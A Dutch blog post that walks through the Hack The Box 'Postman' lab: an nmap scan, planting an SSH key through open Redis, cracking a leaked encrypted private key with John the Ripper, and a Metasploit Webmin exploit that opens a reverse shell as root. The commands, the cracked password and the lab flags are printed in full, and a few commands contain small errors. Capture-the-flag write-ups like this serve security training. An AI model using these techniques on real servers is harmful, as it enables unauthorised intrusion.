tech365
HackTheBox WriteUp Postman

Hack The Box Writeup: Postman

Postman is een Easy box, maar het rooten ervan ging verre van gemakkelijk. De oorzaak hiervoor lag vooral in de exploit die beschikbaar was voor de initiële toegang. Er stond een methode beschreven in het Kali Linux Cookbook welke een actie bevatte voor het wissen van SSH-sleutels. Je raad het al, iedere keer werden de sleutels gewist als ik bezig was met het uitvoeren van de exploit.

Hack The Box Postman

A hacker does for love what others would not do for money.

– Laura Creighton

Een standaard scan voorzien van scripts, versie detectie en open poorten. Opvallend is de aanwezigheid van Redis op poort 6379 en Webmin op poort 10000.

nmap -sV -sC -A 10.10.10.160

Nmap scan report for 10.10.10.160
Host is up (0.027s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-server-header: MiniServ/1.910
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.75 seconds

Voor het handmatig uitvoeren van de exploit zijn de redis-tools noodzakelijk. Via apt-get zijn de tools eenvoudig te installeren.

sudo apt-get install redis-tools

De eerste stap is het aanmaken van een key pair met private en public key op mijn eigen machine. Deze keys worden straks gebruikt om naar de Postman box te uploaden.

ssh-keygen -t rsa

Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/user/.ssh/id_rsa.
Your public key has been saved in /home/user/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:beHPkT0RV/HCvmeypfVMyj0q3n/GVhjs8ykudoJQeoI 
The key's randomart image is:
+---[RSA 3072]----+
| ..=|
| . o.|
| . . + .|
| + + * o |
| . S * + * .|
| E + o o * X |
| + . + X.B|
| o - OoB.|
| ..+.@=o |
+----[SHA256]-----+

De inhoud van de public key kopieer ik naar het bestandje mykey.txt en voeg hier boven en ander twee lege regels aan toe.

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > mykey.txt

De laatste stap bestaat uit het kopiëren van de pulic key via de redis-cli naar de box. Hiermee is de key van mijn machine opgeslagen op de server. Voordat de key bruikbaar is pas ik de directory aan naar /var/lib/redis/.ssh. Dit is de homedirectory voor de Redis user waar de eky bewaard moet worden om te kunnen gebruiken.

cat mykey.txt | redis-cli -h 10.10.10.160 -x set team200

$ redis-cli -h 10.10.10.160

$ 10.10.10.160:6379> config set dir /var/lib/redis/.ssh/
OK
$ 10.10.10.160:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"
$ 10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
$ 10.10.10.160:6379> save
OK

Met de key op zijn plaatst kan ik via SSH verbinding maken zonder wachtwoord en enkel met de key en de username: redis.

ssh -i id_rsa.pub redis@10.10.10.160

Nu ik een SSH sessie heb controleer ik de home directory om te zien welke users er nog meer aanwezig zijn op deze box. Ik kom in /home enkel een user Matt tegen.

cd /home
ls

Matt

De machine bevat niet veel interessante mappen en bestanden. Wel staat er in de /opt directory een bestand dat daar normaal niet zou staan. Het bestand id_rsa.bak lijkt een back-upbestand te zijn van een key. Mogelijk is deze key van de user Matt.

cd /opt
ls

id_rsa.bak

Ik kopieer de inhoud van id_rsa.bak naar mijn eigen machine en maak hier het bestand aan. In de inhoud is duidelijk te zien dat het hier om een private key gaat. Handig!

cat id_rsa.bak

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEG

Een SSH-key is niet direct door John The Ripper te verwerken. Door middel van ssh2john zet ik het bestand om in een verwerkbaar formaat en sla het op in een nieuw bestand genaam id_rsa_ready4john.txt.

python /usr/share/john/ssh2john.py id_rsa |tale id_rsa_ready4john.txt

Wachtwoorden binnen Hack The Box zijn over het algemeen te achterhalen via de Rockyou woordenlijst. John the Ripper gaat aan de slag om het wachtwoord van de private key te achterhalen en is hiermee binnen 8 seconden klaar.

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_ready4john.

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008 (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:08 DONE (2020-02-08 19:23) 0.1133g/s 1626Kp/s 1626Kc/s 1626KC/sa6_123..*7¡Vamos!
Session completed

There we have it, het wachtwoord van de private key: computer2008.

computer2008 (id_rsa)

Mijn eerste gok is dat de private key het mogelijk maakt om in te loggen via SSH. Net als met de user ‘redis’. Nieuw voor mij is de melding dat het een unprotected key is. Dit blijkt een rechten ‘ding’ te zijn.

ssh -i id_rsa Matt@10.10.10.160

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions

Rechten aanpassen door middel van chmod 600 is voldoende om de beveiliging weer goed te zetten.

chmod 600 id_rsa

Helaas, het inloggen met het account van Matt is niet mogelijk omdat hij een deny heeft op SSH toegang. Toch heb ik nu zijn wachtwoord en kan nog steeds het account benutten om mogelijk de user-flag te pakken. Door middel van su kan ik het account van Matt aanroepen en succesvol inloggen met het gekraakte wachtwoord.

su Matt

whoami
Matt

Eenmaal aangemeld als Matt is het alleen nog een kwestie van kijken of de user-flag te vinden is op de welbekende plaats.

cat /home/Matt/user.txt
517ad0ec2458ca97af8d93aac08a2f3c

Nu op zoek naar de root-flag. Tijdens het scannen van de box kwam ik port 10000 tegen die bekend staat als de standaard poort van Webmin. Grote kans dat Webmin onderdeel is van de weg naar root. Volgens mijn Nmap-scan draait versie 1.910.

10000/tcp open http MiniServ 1.910 (Webmin httpd)

Via mijn browser zie ik inderdaad dat Webmin actief is op deze poort.Webmin is software voor het beheren van een server en wordt vaak bij hostingproviders ingezet. Je kunt het vergelijken met bijvoorbeeld Plesk.

htb-webmin-website

Grote kans dat er een vulnerability in Webmin aanwezig is die te gebruiken is voor het verkrijgen van root toegang op Postman. Via Searchsploit kijk ik of er kwetsbaarheden bekend zijn voor deze versie van Webmin,

searchsploit Webmin

--------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title | Path
                                                                                                   | (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------- ----------------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Traversal | exploits/cgi/webapps/23535.txt
Webmin - Brute Force / Command Execution | exploits/multiple/remote/705.pl
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing | exploits/linux/remote/22275.pl
Webmin 0.x - 'RPC' Privilege Escalation | exploits/linux/remote/21765.pl
Webmin 0.x - Code Input Validation | exploits/linux/local/21348.txt
Webmin 1.5 - Brute Force / Command Execution | exploits/multiple/remote/746.pl
Webmin 1.5 - Web Brute Force (CGI) | exploits/multiple/remote/745.pl
Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit) | exploits/unix/remote/21851.rb
Webmin 1.850 - Multiple Vulnerabilities | exploits/cgi/webapps/42989.txt
Webmin 1.900 - Remote Command Execution (Metasploit) | exploits/cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) | exploits/linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution | exploits/linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit) | exploits/linux/remote/47230.rb
Webmin 1.x - HTML Email Command Execution | exploits/cgi/webapps/24574.txt
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (PHP) | exploits/multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (Perl) | exploits/multiple/remote/2017.pl
phpMyWebmin 1.0 - 'target' Remote File Inclusion | exploits/php/webapps/2462.txt
phpMyWebmin 1.0 - 'window.php' Remote File Inclusion | exploits/php/webapps/2451.txt
webmin 0.91 - Directory Traversal | exploits/cgi/remote/21183.txt
--------------------------------------------------------------------------------------------------- ----------------------------------------

Bingo, er zit een kwetsbaarheid in versie 1.910 waarbij een Remote Command Execution (RCE) mogelijk is in de Package Update functie.

Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) | exploits/linux/remote/46984.rb

Time to fire up Metasploit. De exploit is hoogstwaarschijnlijk al aanwezig in de standaard modules. Zo niet, dan is hij altijd handmatig toe te voegen natuurlijk.

msfconsole
***
                          ######## #
                      ################# #
                   ###################### #
                  ######################### #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              # ######## #
                 ## ### #### ##
                                      ### ###
                                    #### ###
               #### ########## ####
               ####################### ####
                 #################### ####
                  ################## ####
                    ############ ##
                       ######## ###
                      ######### #####
                    ############ ######
                   ######## #########
                     ##### ########
                       ### #########
                      ###### ############
                     #######################
                     # # ### # # ##
                     ########################
                      ## ## ## ##
                            https://metasploit.com
       =[ metasploit v5.0.72-dev ]
+ -- --=[ 1962 exploits - 1095 auxiliary - 336 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

De Webmin exploit module is inderdaad aanwezig in Metasploit in /exploit/linux/http/webmin_packageup_rce. Het is een Remote Code Execution kwetsbaarheid die het mogelijk maakt om een shell te krijgen als de gebruiker waaronder Webmin op de achtergrond draait.

msf5 > search webmin
Matching Modules
================
   # Name Disclosure Date Rank Check Description
   - ---- --------------- ---- ----- -----------
   0 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
   1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
   2 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
   3 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
   4 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
   5 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE

Om het exploit te gebruiken is het noodzakelijk om een Webmin account te hebben. Dat komt goed uit want het account van Matt is hiervoor geschikt. De website draait via HTTPS, dus SSL moet ook op true gezet worden.

msf5 > use exploit/linux/http/webmin_packageup_rce 

msf5 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008
PASSWORD => computer2008
msf5 exploit(linux/http/webmin_packageup_rce) > set RHOSTS 10.10.10.160
RHOSTS => 10.10.10.160
msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
username => Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set LHOST 10.10.14.103
LHOST => 10.10.14.103
msf5 exploit(linux/http/webmin_packageup_rce) > set SSL true
SSL => true

De exploit wordt succesvol uitgevoerd en er wordt keurig een Command Shell geopend. Ik upgrade de command shel naar een volwaardige shell door middel van: shell.

msf5 exploit(linux/http/webmin_packageup_rce) > exploit

[*] Started reverse TCP handler on 10.10.14.103:4444 
[+] Session cookie: c185d9f5bf7e67c165089eb362c2b59b
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.103:4444 -> 10.10.10.160:34076) at 2020-02-08 20:05:47 +0000

shell

[*] Trying to find binary(python) on target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell

De shell start in de packages-update map op Postman. Door middel van whoami zie ik dat ik als root een shell heb op Postman en nu rest eigenlijk alleen nog het pakken van de root-flag.

pwd
/usr/share/webmin/package-updates/

# whoami
whoami
root

Daar is hij dan, 32 bytes lang en het eindpunt van deze Redis/Webmin box. Persoonlijk vond ik dit de minst leuke box tot nu toe. Dit zit hem puur in het gebruik van bepaalde Redis exploits door andere hackers omdat hierin een flush all commando gebruikt wordt. Dit zorgt ervoor dat mijn zojuist geplaatste key weer werd gewist.

# cat /root/root.txt
cat /root/root.txt
a257741c5bed8be7778c6ed95686ddce

Martijn

Martijn is naast eigenaar van tech365 ook werkzaam als IT Professional. Zijn passies zijn gadgets, fotografie en alles wat met automotive te maken heeft. Je kunt hem ook vinden als blogger op wielerblog www.lifebehindbars.nl

Reageren

Geef een reactie

Deze website gebruikt Akismet om spam te verminderen. Bekijk hoe je reactie-gegevens worden verwerkt.

Privacy opties

Wijzig je voorkeur voor het bijhouden van gegevens op tech365.

Privacybeleid | Sluiten
Instellingen